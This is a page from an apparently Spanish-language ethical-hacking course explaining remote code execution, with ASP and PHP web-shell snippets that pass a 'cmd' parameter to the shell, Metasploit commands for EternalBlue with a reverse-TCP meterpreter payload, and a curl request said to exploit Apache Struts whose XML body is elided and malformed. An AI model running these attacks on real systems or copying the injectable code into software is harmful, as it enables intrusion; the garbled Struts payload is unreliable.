🛡️
Hacking para Juniors - [CPPJ]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacker
    • ADVERTENCIA
    • Aprende GRATIS con El Curso De Junior a Senior en Hacking
    • Conoce tu Academia
    • Aprende con nuestro curso
    • Conoce a tu instructor
  • Fundamentos de la ciberseguridad ofensiva
    • ¿Que es el Ethical Hacking?
      • Tipos de Hackers
        • APTs (Advanced Persistent Threats)
    • ¿Que es el pentesting?
      • Tipos de Caja en Pentesting
      • Tipos de tecnologia
      • Etapas de un pentest
        • Escalacion de privilegios
    • ¿Qué es un CVE?
    • ¿Que es un escaneo de vulnerabilidades?
    • ¿Que es un Red Team?
      • Command and Control
    • ¿Que es la ingenieria social?
      • Kevin Mitnick
      • Libros Recomendados
    • El papel de los Juniors y la IA
  • OSINT for Juniors
    • Open-source intelligence (OSINT)
    • Tipos de fuentes OSINT
    • Herramientas para OSINT
    • Dorks de Google
  • OS for Juniors
    • Introduccion a Sistemas Operativos
    • Archivo y extensiones
    • Windows
      • Estructura del SO
        • Kernel De Windows
        • Servicios Importantes
        • Procesos en Windows
        • Registros en Windows
        • Gestion de archivos en Windows
      • Versiones relevantes
      • La importancia de identificar la version de windows durante una auditoria
      • Tips
    • Linux
      • Tips
    • Android
      • Versiones relevantes
      • Tips
    • IOS
      • Versiones Relevantes
      • Tips
    • macOS
      • Versiones Relevantes
      • Tips
    • Sistemas operativos para Hackers
    • Instalacion de Kali Linux
  • Networking for Juniors
    • ¿Que es el Networking?
    • Fundamentos de Redes
    • Estructura de Redes
    • Topologías de Red
    • Modelo OSI (Open Systems Interconnection)
    • Modelo TCP/IP
    • IP (Internet Protocol)
    • TCP (Transmission Control Protocol)
    • UDP (User Datagram Protocol)
    • Protocolos de red
      • Protocolos de la capa de acceso al medio
      • Protocolos de la capa de red
      • Protocolos de la capa de transporte
      • Protocolos de la capa de aplicación
      • Protocolos de aplicación en correo electrónico
    • Puertos y servicios
      • Puerto 21: FTP
      • Puerto 22: SSH
      • Puerto 23: Telnet
      • Puerto 25: - SMTP
      • Puerto 53: DNS
      • Puerto 80: HTTP
      • Puerto 443: HTTPS
      • Puerto 139 y 445: SMB - CIFS
      • Puerto 3389: RDP
      • Puerto 389: LDAP
      • Puerto 5000: Docker
      • Puerto 5900: VNC
  • Nmap for Juniors
    • ¿Que es Nmap?
    • Tu Primer Nmap
    • Parametros de Nmap
    • Comandos utiles
    • Scripts de Nmap
  • Wi-Fi y Radiofrecuencias
    • Fundamentos de Wireless
    • Fundamentos del Hacking de Wi-Fi
    • Fundamentos en Radiofrecuencias
    • RFID (Radio Frequency Identification)
    • Infrarrojo (IR)
    • Bluetooth
    • NFC (Near Field Communication)
    • Herramientas de un hacker
    • Fundamentos en Hardware Hacking
  • AppWeb For Juniors
    • ¿Porque deberia aprender hacking web?
    • Fundamentos de Aplicaciones Web
      • Códigos de estado HTTP
    • Fundamentos de APIs
      • Métodos HTTP
      • Practica Gratis
    • Cabeceras de seguridad
    • Analisis de certificados SSL
    • Mecanismos de autenticacion y autorizacion en AppWeb
    • Atacando CMS
    • La Seguridad en el Desarrollo de Aplicativos: Frameworks vs. Desarrollo Manual
    • OWASP Top Ten
  • Databases for Juniors
    • ¿Base de Datos?
      • SQL
      • NoSQL
    • Puerto 6379: Redis
    • Puerto 27017: MongoDB
    • Puerto 5432: PostgreSQL
    • Puerto 3306: MySQL
    • Puerto 1433: Microsoft SQL Server
    • Puerto 1521: - Oracle Database
  • Transferencia de Archivos
    • Introduccion a la Transferencia de archivos
    • Descargando desde Windows
      • Utilizando LOLBAS
    • Descargando desde Linux
    • Despliegue de servicio HTTP
    • Despliegue de servicio SMB
    • Despligue de servicio FTP
    • Utilizando Base64
  • Fundamentos en Vulnerabilidades
    • ¿Qué es una Vulnerabilidad?
    • ¿Qué es un 0day?
    • Common Vulnerabilities and Exposures - [CVE]
    • RCE (Remote Code Execution)
    • Buffer Overflow
  • Malware For Junior
    • ¿Que es Malware?
    • ¿Que es un AntiVirus?
      • Microsoft Defender
    • ¿Que es un EDR?
      • Mejores EDRs actuales
    • Desarrollo de Malware
    • Malware for Windows
      • Golang
      • Nim
      • C#
    • Ofuscacion de Malware
  • Shell
    • ¿Shell?
      • CMD (Command Prompt) en Windows
      • PowerShell en Windows
      • Bash en Unix/Linux
    • ¿Reverse Shell?
    • ¿Web Shell?
    • ¿Bind Shell?
    • Enumeracion de Windows
    • Enumeracion de Linux
  • Privilege Escalation for Juniors
    • ¿Que es la escalacion de privilegios?
    • PrivEsc For Windows
      • WinPEAS
    • PrivEsc For Linux
      • LinPEAS
    • PrivEsc For Active Directory
    • PrivEsc For Cloud Computing
  • Tecnicas de persistencia
    • Fundamentos de Persistencia
    • Persistencia en Windows
    • Persistencia en Linux
    • Persistencia Avanzada
  • Pivoting for Juniors
    • ¿Que es pivoting?
    • ¿Que es Socks?
    • Doble Pivoting y Triple Pivoting
    • RPivot y Chisel
  • Active Directory For Juniors
    • Fundamentos de Active Directory
    • Utilizando ADPeas para el reconocimiento
  • Cloud Computing For Juniors
    • Fundamentos de cloud computing
    • Amazon Web Services
    • Microsoft Azure
    • Google Cloud Platform
  • Introduccion a Blue Team
    • ¿Blue Team?
    • ¿SOC?
    • ¿Threat Hunting?
    • SIEM (Security Information and Event Management)
    • La fatiga del SOC
    • ¿SOAR?
  • Defensas y herramientas de seguridad perimetral
    • Soluciones de Seguridad Perimetral Esenciales
    • Firewall
    • IDS (Intrusion Detection System)
    • IPS (Intrusion Prevention System)
    • WAF (Web Application Firewall)
    • Firewalls de Próxima Generación (NGFW)
    • Gateways de Seguridad Web (SWG)
    • Gateways de Seguridad de Correo Electrónico (SEG)
    • Sistemas de Prevención de Fugas de Datos (DLP)
    • Network Access Control (NAC)
  • Muchas gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • ¿Cómo Funciona RCE?
  • RCE en Windows
  • Métodos Comunes de Explotación
  • Ejemplo Práctico: EternalBlue
  • RCE en Linux
  • Métodos Comunes de Explotación
  • Ejemplo Práctico: Apache Struts

¿Te fue útil?

  1. Fundamentos en Vulnerabilidades

RCE (Remote Code Execution)

La Ejecución Remota de Código (RCE, por sus siglas en inglés) es una vulnerabilidad crítica que permite a un atacante ejecutar comandos arbitrarios o código en una máquina remota. Esta vulnerabilidad puede surgir debido a errores de programación, malas configuraciones de seguridad, o la explotación de funciones mal implementadas en el software. RCE es una de las vulnerabilidades más peligrosas porque puede llevar al compromiso total del sistema afectado.

¿Cómo Funciona RCE?

RCE ocurre cuando un atacante puede enviar datos a una aplicación vulnerable y lograr que esos datos se interpreten como código ejecutable. Esto puede ser a través de diversas vías como aplicaciones web, servicios de red, aplicaciones de escritorio, etc.

RCE en Windows

Métodos Comunes de Explotación

  1. Inyección de Comandos en Aplicaciones Web: Las aplicaciones web mal configuradas o que no sanitizan correctamente las entradas del usuario pueden ser vulnerables a la inyección de comandos. Por ejemplo, si una aplicación pasa parámetros directamente a la línea de comandos sin validación adecuada.

    Ejemplo:

    <%
    Dim cmd
    cmd = Request("cmd")
    Set shell = Server.CreateObject("WScript.Shell")
    shell.Run cmd
    %>

    Si el usuario accede a http://victima.com/page.asp?cmd=calc.exe, esto ejecutará calc.exe en el servidor.

  2. Vulnerabilidades en Servicios de Red: Los servicios de red como SMB, RDP, y otros pueden tener vulnerabilidades que permiten la ejecución remota de código. Un ejemplo famoso es la vulnerabilidad EternalBlue que explotó el protocolo SMBv1.

  3. Exploit de Binarios: Los binarios vulnerables, especialmente aquellos con permisos elevados, pueden ser explotados para ejecutar código arbitrario. Esto puede incluir aplicaciones que procesan archivos de entrada o que interactúan con otras aplicaciones sin las debidas restricciones de seguridad.

Ejemplo Práctico: EternalBlue

EternalBlue explotó una vulnerabilidad en SMBv1 para ejecutar código arbitrario en máquinas Windows. Utilizando herramientas como Metasploit, un atacante podría ejecutar el siguiente módulo para explotar esta vulnerabilidad:

Comandos de Metasploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOST <IP de la víctima>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP del atacante>
exploit

RCE en Linux

Métodos Comunes de Explotación

  1. Inyección de Comandos en Aplicaciones Web: Similar a Windows, las aplicaciones web en Linux pueden ser vulnerables a la inyección de comandos si no sanitizan correctamente las entradas del usuario.

    Ejemplo:

    <?php
    $cmd = $_GET['cmd'];
    system($cmd);
    ?>

    Accediendo a http://victima.com/page.php?cmd=ls, esto ejecutará el comando ls en el servidor.

  2. Servicios de Red: Servicios como SSH, FTP, y otros pueden ser explotados si tienen vulnerabilidades que permiten la ejecución remota de código. Por ejemplo, la vulnerabilidad en Apache Struts que permitía la ejecución de comandos arbitrarios a través de peticiones HTTP.

  3. Explotación de Binarios Setuid: Binarios con el bit setuid activado pueden ser explotados para obtener privilegios elevados y ejecutar código arbitrario. Un ejemplo clásico es la explotación de binarios que no manejan correctamente la entrada del usuario.

Ejemplo Práctico: Apache Struts

La vulnerabilidad en Apache Struts permitió a los atacantes ejecutar comandos arbitrarios enviando peticiones HTTP maliciosas.

Comando de Explotación:

curl -v -X POST -H "Content-Type: application/xml" --data "<?xml version=\"1.0\" encoding=\"UTF-8\"?><map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class=\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"><_bytecodes><byte-array>...</byte-array></_bytecodes><_name>...</_name><_class>...</_class><_tfactory>...</_tfactory></value></entry><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class=\"java.lang.String\">calc</value></jdk.nashorn.internal.objects.NativeString></entry></map>" http://victima.com/struts2-showcase/employee/save

Este comando puede iniciar la calculadora en la máquina víctima si el servidor Apache Struts es vulnerable.

AnteriorCommon Vulnerabilities and Exposures - [CVE]SiguienteBuffer Overflow

Última actualización hace 11 meses

¿Te fue útil?